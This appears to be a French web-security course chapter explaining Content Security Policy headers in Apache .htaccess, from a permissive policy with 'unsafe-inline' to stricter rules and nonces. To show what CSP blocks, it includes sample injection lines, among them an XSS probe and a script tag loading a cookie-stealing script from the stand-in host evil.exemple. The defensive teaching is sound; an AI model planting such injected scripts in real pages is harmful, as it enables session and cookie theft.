.htaccess
Ce chapitre explique le rôle d’une règle Content Security Policy, souvent abrégée CSP, dans la sécurisation d’une application web.
Une CSP permet de dire au navigateur :
Vous n’avez le droit de charger et d’exécuter des ressources que depuis les sources explicitement autorisées.
Elle sert notamment à réduire l’impact de certaines failles XSS, mais elle ne remplace jamais l’échappement correct des données dans le code HTML, PHP, JavaScript ou Thymeleaf.
Content-Security-Policy
default-src 'self'
script-src
script-src 'self'
https://trusted.cdn.com
'unsafe-inline'
Exemple d’en-tête HTTP :
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted.cdn.com;
Dans un fichier .htaccess, cette règle s’écrit plutôt ainsi :
<IfModule mod_headers.c> Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted.cdn.com;" </IfModule>
La première forme correspond à l’en-tête HTTP vu par le navigateur. La seconde correspond à la syntaxe Apache dans un fichier .htaccess.
Content-Security-Policy:
C’est le nom de l’en-tête HTTP envoyé par le serveur au navigateur.
Il indique au navigateur quelles ressources il peut charger :
La CSP agit donc comme une liste d’autorisations.
default-src 'self';
Cette directive définit la règle par défaut pour les ressources qui n’ont pas de règle spécifique.
Le mot-clé :
'self'
signifie :
uniquement depuis le même domaine que le site
Exemple : si votre site est :
https://esiea.fr
alors le navigateur autorise par défaut les ressources venant de :
Mais il refuse, sauf règle spécifique, les ressources venant de domaines externes comme :
https://site-inconnu.com https://cdn-non-autorise.com https://evil.exemple
La directive :
peut donc se lire ainsi :
Par défaut, vous ne chargez les ressources que depuis votre propre site.
C’est une bonne base de sécurité.
script-src 'self' 'unsafe-inline' https://trusted.cdn.com;
La directive script-src concerne spécifiquement les scripts JavaScript.
Elle indique au navigateur quelles sources JavaScript sont autorisées.
Dans cet exemple, trois sources sont autorisées :
'self' 'unsafe-inline' https://trusted.cdn.com
Cela autorise les scripts JavaScript venant du même domaine que le site.
Exemple autorisé :
<script src="/assets/js/app.js"></script>
Si votre site est :
alors ce script est chargé depuis :
https://esiea.fr/assets/js/app.js
Il est donc autorisé par 'self'.
script-src ... https://trusted.cdn.com
Cette partie autorise les scripts venant d’un domaine externe précis.
<script src="https://trusted.cdn.com/library.js"></script>
Mais un script venant d’un autre domaine sera bloqué :
<script src="https://evil.exemple/attaque.js"></script>
Pourquoi ?
Parce que https://evil.exemple n’est pas présent dans la règle CSP.
https://evil.exemple
Le navigateur refuse donc de charger ce script.
C’est la partie la plus délicate.
Elle autorise les scripts JavaScript écrits directement dans la page HTML.
Exemple autorisé à cause de 'unsafe-inline' :
<script> alert("Bonjour"); </script>
Autre exemple autorisé :
<button onclick="alert('clic')">Cliquer</button>
Le problème est que beaucoup de failles XSS reposent justement sur l’injection de scripts inline.
Exemple d’attaque XSS :
<script>alert('XSS')</script>
Si votre CSP autorise 'unsafe-inline', cette protection est moins efficace contre ce type d’injection.
Son nom est donc très parlant :
unsafe = non sécurisé inline = directement dans la page
Prenons cette page HTML :
<!DOCTYPE html> <html lang="fr"> <head> <script src="/js/app.js"></script> <script src="https://trusted.cdn.com/flowbite.js"></script> <script src="https://evil.exemple/attaque.js"></script> <script> console.log("Script inline"); </script> </head> <body> <button onclick="alert('clic')">Tester</button> </body> </html>
Avec cette CSP :
Le navigateur autorise :
<script src="/js/app.js"></script>
car ce script vient du même domaine.
Il autorise aussi :
<script src="https://trusted.cdn.com/flowbite.js"></script>
car https://trusted.cdn.com est explicitement autorisé.
Il bloque :
car ce domaine n’est pas autorisé.
En revanche, il autorise encore :
<script> console.log("Script inline"); </script>
et :
<button onclick="alert('clic')">Tester</button>
à cause de :
Cette règle réduit les risques si une faille XSS existe.
Sans CSP, un attaquant pourrait injecter :
<script src="https://evil.exemple/steal-cookie.js"></script>
Avec cette CSP, le navigateur bloque ce script externe, car le domaine evil.exemple n’est pas autorisé.
evil.exemple
Cependant, si 'unsafe-inline' reste présent, un attaquant pourrait encore tenter d’injecter du JavaScript directement dans la page.
Exemple :
La CSP est donc utile, mais elle doit être durcie progressivement.
Une version plus stricte serait :
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;
Dans cette version, on supprime :
Les scripts inline sont donc bloqués.
Cela oblige à remplacer les anciennes pratiques.
Mauvais exemple :
<button onclick="acheter()">Acheter</button>
Meilleur exemple :
<button id="btn-acheter">Acheter</button> <script src="/assets/js/commande.js"></script>
Dans le fichier /assets/js/commande.js :
/assets/js/commande.js
document.getElementById('btn-acheter').addEventListener('click', acheter);
Cette approche est plus propre et plus sécurisée.
Il existe une solution plus avancée : le nonce.
Un nonce est une valeur aléatoire générée par le serveur pour une page donnée.
Exemple d’en-tête CSP :
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-aB3xYz987' https://trusted.cdn.com;
Dans la page HTML :
<script nonce="aB3xYz987"> console.log("Ce script inline est autorisé"); </script>
Le navigateur autorise uniquement les scripts inline qui possèdent le bon nonce.
Un script injecté sans nonce sera bloqué :
Cette méthode est beaucoup plus sûre que :
Version de départ, encore assez permissive :
<IfModule mod_headers.c> Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'; form-action 'self';" </IfModule>
Version plus stricte :
<IfModule mod_headers.c> Header always set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self'; img-src 'self' data: https:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'; form-action 'self';" </IfModule>
Si votre site utilise des bibliothèques depuis un CDN, par exemple :
<script src="https://cdn.tailwindcss.com"></script>
ou :
<script src="https://cdnjs.cloudflare.com/ajax/libs/flowbite/2.5.2/flowbite.min.js"></script>
vous devrez les ajouter dans la CSP :
<IfModule mod_headers.c> Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.tailwindcss.com https://cdnjs.cloudflare.com; style-src 'self' 'unsafe-inline' https://cdnjs.cloudflare.com; img-src 'self' data: https:; font-src 'self' data: https:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'; form-action 'self';" </IfModule>
Mais pour une production plus robuste, il est préférable :
La ligne :
La CSP permet de limiter ce que le navigateur peut charger et exécuter.
Elle réduit les risques XSS, mais elle ne remplace jamais :
htmlspecialchars($value, ENT_QUOTES, 'UTF-8')
ni une bonne validation côté serveur.
Pour démarrer :
<IfModule mod_headers.c> Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted.cdn.com; object-src 'none'; base-uri 'self'; frame-ancestors 'self'; form-action 'self';" </IfModule>
Puis progressivement, essayez de supprimer :
en déplaçant le JavaScript inline dans des fichiers .js.
.js
Objectif final :
<IfModule mod_headers.c> Header always set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'; base-uri 'self'; frame-ancestors 'self'; form-action 'self';" </IfModule>
Une CSP, c’est comme une liste d’invités à l’entrée d’une soirée.
La dernière règle est pratique, mais dangereuse. Vous l’avez compris, un site web ça se protège !